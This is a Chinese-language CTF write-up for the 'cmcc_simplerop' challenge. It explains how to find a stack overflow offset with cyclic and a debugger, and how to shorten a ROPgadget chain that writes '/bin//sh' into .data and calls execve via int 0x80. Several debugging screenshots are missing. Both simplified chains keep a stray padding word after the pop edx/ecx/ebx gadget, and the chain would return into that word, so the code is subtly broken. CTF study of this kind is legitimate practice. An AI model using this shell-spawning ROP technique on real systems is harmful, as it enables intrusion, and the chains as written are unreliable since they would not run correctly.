cmcc_simplerop

写这题的目的

  1. 当IDA显示的偏移错误,怎么动态调试

  2. 用ROP构造的rop链过长,怎么简化

这题主要写这两个问题,其余的与BUUCTF_inndy_rop(rop链)差不多

动态调试找到正确的偏移

  1. 先用cyclic生成200(数目不固定)字母

    1

  2. 再动态调试

1

3

4

5

6

可以得到偏移是32

  1. 化简ROP链

    1
    ROPgadget --binary rop --ropchain

    还是用这个工具生成ROP链
    然后参考佬的博客进行修改
    原本是

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    p += pack('<I', 0x0806e82a) # pop edx ; ret
    p += pack('<I', 0x080ea060) # @ .data
    p += pack('<I', 0x080bae06) # pop eax ; ret
    p += b'/bin'
    p += pack('<I', 0x0809a15d) # mov dword ptr [edx], eax ; ret
    p += pack('<I', 0x0806e82a) # pop edx ; ret
    p += pack('<I', 0x080ea064) # @ .data + 4
    p += pack('<I', 0x080bae06) # pop eax ; ret
    p += b'//sh'
    p += pack('<I', 0x0809a15d) # mov dword ptr [edx], eax ; ret
    p += pack('<I', 0x0806e82a) # pop edx ; ret
    p += pack('<I', 0x080ea068) # @ .data + 8
    p += pack('<I', 0x08054250) # xor eax, eax ; ret
    p += pack('<I', 0x0809a15d) # mov dword ptr [edx], eax ; ret
    p += pack('<I', 0x080481c9) # pop ebx ; ret
    p += pack('<I', 0x080ea060) # @ .data
    p += pack('<I', 0x0806e851) # pop ecx ; pop ebx ; ret
    p += pack('<I', 0x080ea068) # @ .data + 8
    p += pack('<I', 0x080ea060) # padding without overwrite ebx
    p += pack('<I', 0x0806e82a) # pop edx ; ret
    p += pack('<I', 0x080ea068) # @ .data + 8
    p += pack('<I', 0x08054250) # xor eax, eax ; ret
    p += pack('<I', 0x0807b27f) # inc eax ; ret
    p += pack('<I', 0x0807b27f) # inc eax ; ret
    p += pack('<I', 0x0807b27f) # inc eax ; ret
    p += pack('<I', 0x0807b27f) # inc eax ; ret
    p += pack('<I', 0x0807b27f) # inc eax ; ret
    p += pack('<I', 0x0807b27f) # inc eax ; ret
    p += pack('<I', 0x0807b27f) # inc eax ; ret
    p += pack('<I', 0x0807b27f) # inc eax ; ret
    p += pack('<I', 0x0807b27f) # inc eax ; ret
    p += pack('<I', 0x0807b27f) # inc eax ; ret
    p += pack('<I', 0x0807b27f) # inc eax ; ret
    p += pack('<I', 0x080493e1) # int 0x80
    1. 我们可以用ROPgadget命令查找可以修改ebx,edx,ecx寄存器的gadget
      7

​ 化简1:
​ p += pack('<I', 0x0806e82a) # pop edx ; ret ​ p += pack('<I', 0x080ea060) # @ .data ​ p += pack('<I', 0x080bae06) # pop eax ; ret ​ p += b'/bin' ​ p += pack('<I', 0x0809a15d) # mov dword ptr [edx], eax ; ret ​ p += pack('<I', 0x0806e82a) # pop edx ; ret ​ p += pack('<I', 0x080ea064) # @ .data + 4 ​ p += pack('<I', 0x080bae06) # pop eax ; ret ​ p += b'//sh' ​ p += pack('<I', 0x0809a15d) # mov dword ptr [edx], eax ; ret ​ p += pack('<I', 0x0806e850) # pop edx ; pop ecx ; pop ebx ; ret ​ p += p32(0)+p32(0)+p32(0x080ea060) ​ p += pack('<I', 0x080ea060) # padding without overwrite ebx ​ p += pack('<I', 0x080ea068) # @ .data + 8 ​ p += pack('<I', 0x08054250) # xor eax, eax ; ret ​ p += pack('<I', 0x0807b27f) # inc eax ; ret ​ p += pack('<I', 0x0807b27f) # inc eax ; ret ​ p += pack('<I', 0x0807b27f) # inc eax ; ret ​ p += pack('<I', 0x0807b27f) # inc eax ; ret ​ p += pack('<I', 0x0807b27f) # inc eax ; ret ​ p += pack('<I', 0x0807b27f) # inc eax ; ret ​ p += pack('<I', 0x0807b27f) # inc eax ; ret ​ p += pack('<I', 0x0807b27f) # inc eax ; ret ​ p += pack('<I', 0x0807b27f) # inc eax ; ret ​ p += pack('<I', 0x0807b27f) # inc eax ; ret ​ p += pack('<I', 0x0807b27f) # inc eax ; ret ​ p += pack('<I', 0x080493e1) # int 0x80 ​

  1. p += pack(‘<I’, 0x0807b27f) # inc eax ; ret一直在重复,我们可以利用pop eax,ret 实现设置eax的值为11(0xB)

化简2:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
p += pack('<I', 0x0806e82a) # pop edx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080bae06) # pop eax ; ret
p += b'/bin'
p += pack('<I', 0x0809a15d) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806e82a) # pop edx ; ret
p += pack('<I', 0x080ea064) # @ .data + 4
p += pack('<I', 0x080bae06) # pop eax ; ret
p += b'//sh'
p += pack('<I', 0x0809a15d) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806e850) # pop edx ; pop ecx ; pop ebx ; ret
p += p32(0)+p32(0)+p32(0x080ea060)
p += pack('<I', 0x080ea060) # padding without overwrite ebx
p += pack('<I', 0x080bae06) # pop eax ; ret
p += p32(0xb)
p += pack('<I', 0x080493e1) # int 0x80